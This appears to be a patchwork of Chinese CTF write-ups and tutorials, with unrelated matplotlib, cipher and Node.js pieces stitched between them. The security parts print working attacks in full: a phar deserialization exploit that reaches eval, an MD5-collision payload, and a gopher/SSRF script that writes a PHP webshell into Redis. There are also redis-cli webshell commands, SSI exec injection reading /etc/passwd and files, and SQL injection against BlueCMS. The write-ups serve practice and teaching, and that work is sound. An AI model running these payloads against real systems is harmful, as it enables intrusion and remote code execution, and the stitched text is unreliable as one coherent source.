考点:phar反序列化

题目上来是一个上传,正常上传文件后会根据每个用户的IP,MD5加密生成一个文件夹,将内容保存,同时还存在一个view按钮,可查看上传的文件

在upload处抓包,可以看到有参数传递,在一切毫无头绪时,考虑文件包含漏洞,读取到upload.php和view.php,这里贴出view.php的内容upload.php并没有特别的考点在这里

 <!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>查看图片</title>
    <link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
    <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
    <?php
    #include_once "flag.php"; 
    error_reporting(0);
    class View
    {
        public $dir;
        private $cmd;

        function __construct()
        {
            $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
            $this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
            if(!is_dir($this->dir)) {
                mkdir($this->dir, 0777, true);
            }
        }

        function get_file_list() {
            $file = scandir('.');
            return $file;
        }

        function show_file_list() {
            $file = $this->get_file_list();
            for ($i = 2; $i < sizeof($file); $i++) { 
                echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
            }
        }

        function show_img($file_name) {
            $name = $file_name;
            $width = getimagesize($name)[0];
            $height = getimagesize($name)[1];
            $times = $width / 200;
            $width /= $times;
            $height /= $times;
            $template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
            echo $template;
        }

        function delete_img($file_name) {
            $name = $file_name;
            if (file_exists($name)) {
                @unlink($name);
                if(!file_exists($name)) {
                    echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
                    header("refresh:3;url=view.php");
                } else {
                    echo "Can not delete!";
                    exit;
                }
            } else {
                echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
            }
        }

        function __destruct() {
            eval($this->cmd);
        }
    }
    
    $ins = new View();
    chdir($ins->dir);
    echo "<h3>当前目录为 " . $ins->dir . "</h3>";
    $ins->show_file_list();
    if (isset($_POST['show'])) {
        $file_name = $_POST['show'];
        $ins->show_img($file_name);
    }
    if (isset($_POST['delete'])) {
        $file_name = $_POST['delete'];
        $ins->delete_img($file_name);
    }
    unset($ins);
    ?>
</body>
</html>

与我预想的反序列化不同,不存在unserialize函数,但存在eval函数,可对cmd变量构造恶意代码。同时题目还是一个文件上传,那么就可以联想到通过phar文件进行反序列化重构cmd变量的值,上传phar文件,最后通过show或者delete传参利用phar协议触发phar文件,使构造的序列化代码进行反序列化

构造:

<?php 
class View {
        public $dir = '';
        private $cmd = 'phpinfo();chdir("/var/www/html");readfile("flag.php");';
}
    $o = new View();
    unlink("phar.phar");//删除原有存在的
    $phar = new Phar("phar.phar");//生成
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证
    $phar->setMetadata($o); //加入序列化内容
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
?>

​代码编写也很简单,很多都是套路,dir变量处可以什么都不写,也不会有影响,phar的学习可以参看https://paper.seebug.org/680/#2-a-manifest-describing-the-contents,生成了phar文件后进行上传,在view.php页面利用hacker bar传递show或delete参数,触发phar文件,这样在类的方法中运行完后会触发__destruct魔术方法执行eval函数。

最后在源代码最下方找到flag

[安洵杯 2019]easy_web

 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
         echo $cmd;
     } else {
         echo ("md5 is funny ~");
     } 
POST传入:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 

0x00 简介

Matplotlib是Python的一个2D图形库,能够生成各种格式的图形(诸如折线图,散点图,直方图等等),界面可交互(可以利用鼠标对生成图形进行点击操作),同时该2D图形库跨平台,即既可以在Python脚本中编码操作,也可以在Jupyter Notebook中使用,以及其他平台都可以很方便的使用Matplotlib图形库,而且生成图形质量较高,甚至可以达到出版级别。

0x01 折线图绘制

1)plt.plot(x,y,format_string,**kwargs) 
x轴数据,y轴数据,format_string控制曲线的格式字串

颜色字符说明标记字符说明标记字符说明标记字符说明风格字符说明
b蓝色.点标记1下花三角标记h竖六边形标记━ 实线
g绿色,像素标记2上花三角标记H横六边形标记━ ━ 破折线
r红色o实心圈标记3左花三角标记+十字标记━ .点划线
c青绿色v倒三角标记4右花三角标记xx标记:虚线
m洋红色^上三角标记s实心方形标记D菱形标记无线条
y黄色>右三角标记p实心五角标记d瘦菱形标记
k黑色<左三角标记*星型标记|垂直线标记
w白色
#引入pyplt,修改名称为plt
import matplotlib.pyplot as plt
#对应坐标编写折线图
plt.plot([1,2,3,6],[4,5,8,1],'g-s')
#类似print,将图形显示输出
plt.show()

2)在matplotlib中,整个图表为一个figure对象 每一个弹出的小窗口就是一个Figure对象 plt.figure(num,figsize,dpi,**kwargs)其中num为对应窗口数,figsize为窗口大小,dpi为清晰度,值越大越清晰

#引入pyplt,修改名称为plt 
import matplotlib.pyplot as plt
#设置figsize对应宽高
plt.figure(num=3,figsize=(10,10),dpi=10)
#对应坐标编写折线图
plt.plot([1,2,3,6],[4,5,8,1],'g-s')
#类似print,将图形显示输出
plt.show()

3)保存图片plt.savefig(‘路径’)

例:plt.savefig(‘./1.png’),在plt.show前添加,运行后会在当前路径下生成1.png保存刚刚绘制的图形。

4)设置刻度

#引入pyplt,修改名称为plt
import matplotlib.pyplot as plt
#设置figsize对应宽高
plt.figure(figsize=(18,10),dpi=80)
#对应坐标编写折线图
x = range(2,26,2)
y = [15,13,14.5,17,20,25,26,26,27,22,18,15]
plt.plot(x,y,'g-s')
#设置x轴刻度
plt.xticks(x)
#设置x轴中带有0.5刻度
# x1 = [i/2 for i in range(4,51)]
# plt.xticks(x1)
#设置y轴刻度
plt.yticks(range(min(y),max(y)+1))
#类似print,将图形显示输出
plt.show()

0x02 CTF中应用

[INSHack2019]Drone Motion

题目下载

一道坐标题,通过正则匹配提取坐标,画图即可。要注意的是,因为是画图,所以每个坐标每一位要加上前面的所有坐标

在sensors.log中看到以下内容

给出了坐标点,那么绘图脚本如下,引用root师傅的脚本:

import re

import matplotlib.pyplot as plt
x = []
y = []
z = []
a = []
x2,y2,z2=0,0,0
lines = open("sensors.log").readlines()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=(.*?),y=",line)))
for i in a:
    if i != '':
        x2+=float(i)
        x.append(float(x2))
a.clear()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=.*?,y=(.*?),z=",line)))
for i in a:
    if i != '':
        y2+=float(i)
        y.append(float(y2))
a.clear()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=.*?,y=.*?,z=(.*?)\)",line)))
for i in a:
    if i != '':
        z2+=float(i)
        z.append(float(z2))
ax = plt.plot(x, y,'-')
plt.axis('equal')# 把单位长度都变的一样 
plt.show()
plt.savefig("test.png", dpi=1000) 

0x03 总结学习

更多 matplotlib 模块的学习可参看:https://zhuanlan.zhihu.com/p/33270402

https://blog.csdn.net/qiurisiyu2016/article/details/80187177

<?php 
highlight_file(_FILE_); 
$x = $_GET['x']; 
$pos = strpos($x,"php"); 
if($pos){
    exit("denied");
} 
$ch=curl_init(); 
cur1_setopt($ch,CURLOPT_URL,"$x"); 
cur1_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo Sresult;
?>

思路:
◆可利用的协议有gopher、dict、http、https、file等
◆file协议可以用于查看文件
◆dict协议可以用于刺探端口
◆gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shel1

绕过strops,对p进行url二次编码绕过p->%70->%2570

最后发现172.18.0.1/2/3可以访问,其中172.18.0.2存在文件包含漏洞

再次利用BurpSuite探测该内网IP开放端口,发现存在25端口smtp服务

利用思路,利用Gopher协议发送一句话木马请求,污染其日志文件,最后通过文件包含漏洞将日志文件包含拿到shell。

工具利用Gopherus:https://github.com/tarunkant/Gopherus,该工具可快速生成指定Payload,python2下执行

root@iZ2ze0vvr76o932bopx4kxZ:~/SSRF工具/Gopherus-master# python gopherus.py -h
 usage: gopherus.py [-h] [--exploit EXPLOIT]
 optional arguments:
   -h, --help         show this help message and exit
   --exploit EXPLOIT  mysql, fastcgi, redis, smtp, zabbix, pymemcache,
                      rbmemcache, phpmemcache, dmpmemcache

最后将IP地址改为目标IP即可

但是木马肯定是无法直接执行的,我们的目的也是使该请求记录写到smtp的日志记录中。

Smtp常见日志文件位置:
◆/var/log/maillog
◆/var/log/mail.log
◆/var/adm/maillog
◆/var/adm/syslog/mail.log

[GKCTF2020]小学生的密码学

考点:仿射密码

给自己做个记录

题目

e(x)=11x+6(mod26)

密文:welcylk

(flag为base64形式)

利用在线解密网站:https://cryptii.com/pipes/affine-cipher

flag{c29yY2VyeQ==}

[GKCTF2020]汉字的秘密

附件内容是当铺密码

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码

输出EJ>CvSHMV7G9R9@?3k

结合FLAG的ASCII码和输出结果的ASCII码发现,差值依次为1 2 3 4

完整脚本如下:

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码
result = ''
for i in range(0,len(list)):
    result += chr(int(list[i])+i+1)
print('result=', result, '\t\tresult.lower()=', result.lower())

0x00 简介

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

Gopher发送请求HTTP GET请求:

Windows下安装netcat,工具地址: https://eternallybored.org/misc/netcat/

在 C:\Windows\System32的文件夹下解压即可。

首先在本机上开启监听端口:nc -lvp 6666

Kali上:curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

发送一个原始的HTTP包

在gopher协议中发送HTTP的数据,需要以下三步

 1、构造HTTP数据包 
 2、URL编码、替换回车换行为%0d%0a 
 3、发送gopher协议 

首先利用PHPStudy新建一个get.php文件,内容

<?php    
echo "Hello ".$_GET["name"]."\n"
?>

传递?name=purplet,利用BurpSuite抓包可以看到报文头

GET /tes/get.php?name=purplet HTTP/1.1
Host: 192.168.194.1

URL编码后为: curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a 

注意:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

Gopher发送请求HTTP POST请求:

POST与GET传参的区别:它有有4个参数为必要参数

POST /tes/post.php HTTP/1.1
host:192.168.194.1
Content-Type:application/x-www-form-urlencoded
Content-Length:12

name=purplet

如下构造:

curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

其中post.php

<?php 
echo "Hello".$_POST['name']."\n";
?>

0x01 redis未授权访问

什么是redis

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

什么是redis未授权访问漏洞

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

漏洞利用常见三种方法:

(1)已知目标网站绝对路径写入Webshell
(2)定时任务反弹shell
(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器 

CTF中较为常见的利用方法是写入webshell,通过redis连接工具

root@kali:~# redis-cli -h 192.168.5.57(目标IP)

可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用

 192.168.5.57:6379>flushall  

写入Webshell

192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
192.168.5.57:6379>config set dbfilename shell.php #创建文件
192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"
192.168.5.57:6379>save

0x02 CTF中的应用

[GKCTF2020]EZ三剑客-EzWeb

考点:redis未授权访问与gopher协议的利用

查看源代码后发现隐藏注释

传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10

在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。

既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255

爆破结果得到4个内网IP

其中11时出现以下字: 被你发现了,但你也许需要试试其他服♂务,就在这台机子上! …我说的是端口啦1 ,给出了很明显的提示继续进行端口扫描

端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描

21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018

最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。

exp如下,请仔细读懂,其中空格也利用${IFS}代替。

#/usr/bin/python
import urllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

python2环境下运行后将得到的结果提交过去

gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最终拿到shell成功实现命令执行。

文章参考:https://zhuanlan.zhihu.com/p/112055947

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D

0x00 知识点

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

重点: ssi是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtml等则考虑该网站可能存在SSI注入漏洞

0x01 SSI语法

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

SSI指令基本格式:<!-– 指令名称=”指令参数”>

①显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var=”DOCUMENT_NAME”–>

现在时间:

<!–#echo var=”DATE_LOCAL”–>

显示IP地址:

<!–#echo var=”REMOTE_ADDR”–>

将文本内容直接插入到文档中<#include>

<!–#include file=”文件名称”–>

<!–#include virtual=”index.html”–>

<!–#include virtual=”文件名称”–>

<!–#include virtual=”/www/footer.html” –>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<!–#flastmod file=”文件名称” –>

文件的长度:

<!–#fsize file=”文件名称” –>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd=”文件名称”–>

<!–#exec cmd=”cat /etc/passwd”–>

<!–#exec cgi=”文件名称”–>

<!–#exec cgi=”/cgi-bin/access_log.cgi”–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

补充说明:
1.<!– –>是HTML语法中表示注释,当WEB服务器不支持SSI时,会忽略这些信息。
2.#exec 为SSI指令之一。
3.cmd 为exec的参数, cat /etc/passwd为参数值,在本指令中指将要执行的命令。

4. <!–与#号间无空格,只有SSI指令与参数间存在空格。

0x02 CTF应用

[BJDCTF2020]EasySearch

扫描目录存在.swp备份文件,访问得到源码

<?php
 ob_start();
 function get_hash(){
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
 $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
 $content = uniqid().$random;
 return sha1($content); 
 }
    header("Content-Type: text/html;charset=utf-8");
 ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
 ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
 echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
 ***
    }
 ***
?>

第一个判断很明显就是一个套路的md5值相等问题,掏出脚本

import hashlib
 a = input("输入6位数")
 for i in range(1,100000001):
     s = hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6]
     if s == a:
         print(i)
         break
SSI注入

输入进去,F12打开得到路径回显

SSI注入

看到shtml后缀,考虑SSI注入,直接来一波命令执行先列个目录,最后在上级目录找到关键信息。

<!--#exec cmd="ls ../"-->

接着读取即可获得flag<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

利用SSI进行反弹shell及exec过滤绕过参看:https://blog.csdn.net/whatiwhere/article/details/84729008

HTTP完善

设置中文响应时的解析编码

//引入http核心模块
var http = require('http');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
    if(res.method == 'POST'){
        console.log('POST请求');
    }else if(res.method == 'GET'){
        console.log('GET请求');
    }
    rs.setHeader('Content-type','text/plain;charset=utf8');//设置解析编码
    rs.write('六日六日');//中文响应必须设置setHeader
    rs.end();//最后断开连接
});
//启动监听
server.listen(8081,function(){
    console.log('请访问127.0.0.1:8081');
})

响应HTML页面代码

//引入http核心模块
var http = require('http');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
    if(res.method == 'POST'){
        console.log('POST请求');
    }else if(res.method == 'GET'){
        console.log('GET请求');
    }
    rs.setHeader('Content-type','text/html;charset=utf8');//设置解析为HTML
    //rs.write('六日六日');//中文响应必须设置setHeader
    rs.end('<h1>六日</h1>');//相当于执行了write再end,同时识别html标签了
});
//启动监听
server.listen(8081,function(){
    console.log('请访问127.0.0.1:8081');
})

通过引入一个html页面,进行服务器响应

//引入http核心模块
var http = require('http');
//引入文件读取模块fs
var fs = require('fs');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
    if(res.method == 'POST'){
        console.log('POST请求');
    }else if(res.method == 'GET'){
        console.log('GET请求');
    }
    rs.setHeader('Content-type','text/html;charset=utf8');//设置解析为HTML
    fs.readFile('./index.html','utf-8',function(err,data){
        rs.end(data);//返回html代码
    })
});
//启动监听
server.listen(8081,function(){
    console.log('请访问127.0.0.1:8081');
})

​响应一个图片,首先准备好图片:在img/01.jpg

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<img src="./img/1.jpg" alt="">
</body>
</html>

​JS处调用

//引入http核心模块
var http = require('http');
//引入文件读取模块fs
var fs = require('fs');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
    var urls = res.url;
    if(urls == '/'){
        rs.setHeader('Content-type','text/html;charset=utf-8');
        fs.readFile('./01.html','utf-8',function(err,data){
            rs.end(data);
        })
    }else{
        fs.readFile('.'+urls,function(err,data){
            rs.end(data);
        })
    }
});
//启动监听
server.listen(8081,function(){
    console.log('请访问127.0.0.1:8081');
})

​服务器正常会请求三次的,第二次请求图片路径为:/img/01.jpg,所以在else处进行拼接一个.同时图片不需要进行编码处理

JSON相互转换

var arr = ['a','b','张三']
var str1 = JSON.stringify(arr);
console.log(str1);
console.log(typeof str1); 

注意虽然输出的格式与数组相同,但是实际已经是字符串类型了

var str2 = '{"name":"purplet","age":20}';
console.log(JSON.parse(str2));
console.log(typeof JSON.parse(str2)); 

通过JSON.parse()转换后的是一个对象


0x00 前言

本篇文章我第一次尝试进行代码审计,是不断总结前辈的思路与手法做出的总结,会介绍一个小白蜕变学习的过程。

0x01 环境准备

面对冗长的代码一个舒服趁手的审计工具就会对审计起到很大帮助,本篇文章将使用Seay源代码审计系统和rips对该cms进行审计,其中rips可以搭建在PHPStudy下,该工具网页访问即可,可以对简单的漏洞给出补丁修复,适合新手入门的学习。 rips汉化版0.55:https://pan.baidu.com/s/1hm6VA3vfSRglwF4zE2eqAA      p2ty

这里我利用PHPStudy搭建时出现该cms网页无法访问的情况,此时选择PHPStudy->其他选项菜单->软件设置->允许目录列表,将其勾选。并删除该编译失败的文件,重新访问install目录即可安装成功。注意要使用PHP5.x版本。

0x02 审计

首先将源码放置在PHPStudy中后,访问uploads/install安装Bluecms。在cmd命令窗口切换到主目录下输入命令tree查看目录结构,可以对整个cms有一个宏观的了解。

对于一名新手来说前期的学习可能更多依赖于工具的查找,那么打开Seay和rips进行自动审计。

这里列出部分Seay中审计出的信息,这里值得一说的是该工具也是基于既定规则进行的查找,因此也存在于误报的情况。所以相关漏洞需要自行检验,在了解一定PHP代码的前提下,可以通过该工具“定位函数”的功能去跳转到相关位置,从而审计。同时也可以结合rips对相关漏洞的定位进行一个快速的筛选。

1.SQL注入

在SQL注入代码的审计中,主要关注sql语句中变量拼接的地方,并向上查找该变量是否受用户控制(即是否可传参),当会收到用户控制后,去检查是否有函数对用户输入进行过滤,再根据其防范情况构造出绕过方法。SQL注入经常出现在登陆页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。

1)查看Seay中审计出的第一个漏洞点,跳转到该位置该工具会将位置高亮显示。

很明显再向上几行可以看到$ad_id是用户可控的参数,再看高亮的SQL语句经过了一层getone函数的过滤,那么双击选中getone,再右键选择定位函数,即可跳转到该函数定位的页面:mysql.class.php。

而该函数也并没有任何过滤,同时通过mysql_fetch_array函数将sql语句执行结果返回,最后echo以document.write输出。

那么构造利用的POC,常规注入即可,在源代码中看到内容回显。

2)再看第二个ann.php

很明显要求$ann_id不传入时,才会执行if语句,拼接$cid值,向上再看$ann_id和$cid的值用户都可控,但是一看到intval函数直接就pass了,该函数只有在if语句判断使用时才会出现安全漏洞。参看:http://huaidan.org/archives/3047.html

intval函数有个特性:”直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换” 。

直接在用户输入处杜绝了数字型的注入 。

3)comment.php

追踪查看这两个疑似。

首先第一个如上图所示,追踪$id变量,看到存在intval函数的过滤。

在看第二个,依然也是$id的值,所以同上一样没有办法。

4)index.php

$result2 = $db->query("SELECT * FROM ".table('article')." WHERE cid=$row1[cat_id] and is_recommend = 1 and is_check = 1 ORDER BY id DESC LIMIT 7");

​可以看到定位到该语句,可以看到我们要关注的是$row1[]数组是从哪里获得的,选中$row1右键选择全文追踪,可以看到定位到前文有如下语句。

while($row1 = $db->fetch_array($result1))

​可以看到是通过$result1的值获得的,那么再对$result1进行全文追踪。

很明显这是一条被写死的语句,完全没有用户可控的参数,所以利用无效。

5)news.php,search.php

依然是可控的变量值经过intval函数进行了过滤,这里不再赘述。

6)user.php

一共有12个爆出疑似SQL注入,那么逐一查看。

第一个:intval函数过滤了$id值。

第二个:

$card_order = $db->getone("SELECT time FROM ".table('card_order')." WHERE user_id=".$_SESSION['user_id']);

​可以看到唯一拼接的是$_SESSION的user_id值,然而这也不可控

第三个:同第二个相同

第四个:存在拼接的post_id值,但向上溯源发现依然被intval函数过滤

$post_id = intval($_REQUEST[‘post_id’]);

剩下那些调用的也大多是post_id值和, $_SESSION的user_id值 ,所以全部无法利用。

如果到此一直跟着去一步步审计,那么起码应该掌握了溯源的方法,后续很多重复的部分就不再记述,会将不同的地方列出。

7)admin/area.php

第三个,跳转到关键代码,发现存在变量$old_parentid的拼接

$db->query(“UPDATE “.table(‘area’).” SET ishavechild = ‘0’ WHERE area_id = ‘$old_parentid'”);

溯源后看到$old_parentid = get_area_parentid($aid);

首先对get_area_parentid函数进行定位。

很明显看到有select语句的执行同时又经过了getone函数的过滤,这个函数我们前面已经说过,没有任何过滤,而唯一可控的值即为形参$area_id,那么返回去追踪实参的输入。

$aid = $_REQUEST[‘aid’] ? intval($_REQUEST[‘aid’]) : ”;

很遗憾又遇到了intval函数,全剧终。

8)admin/user.php(注入)

很明显看到只是做了GET传参的拼接,什么也没过滤,来到页面查看,存在我们之前注册的邮箱

进行union注入后没有回显,尝试布尔盲注

user_id=1 and length(database())=6

页面空白,而等于7时再次出现电子邮箱信息,即数据库长度为7。后面又利用ASCII和substr得到数据库第一位是b,那么后面就不做了,可以写脚本暴库了,而且什么都没有过滤那种。

9)include/common.fun.php

这里虽然没有过滤,向上溯源 , 发现这里是一个function。全局搜索调用这个function的地方。

很明显内容被写死,调用无望了。

10)admin/nav.php

很明显有一个可以后台注入的地方

11)guest_book.php

获取ip很有可能是通过$SESSION来获取的,全局搜索$online_ip,在comment.inc.php中找到

$online_ip = getip();

再追踪getip()函数

PHP: getenv – Manual getenv — 获取一个环境变量的值

那么知晓如此就可以通过X-Forwarded-For或者Client-ip进行注入了

这里要注意$SESSION中的数据貌似没有自动的url解码 +不能被解码为空格

2 文件包含漏洞结合文件上传

1)user.php

发现当进行支付操作时,会将pay的值通过post方式传递过去拼接,但是后面还拼接了/index.php,所以只要能够截断后面的部分就存在文件包含漏洞

购买 一张便民卡,然后选择支付。抓包

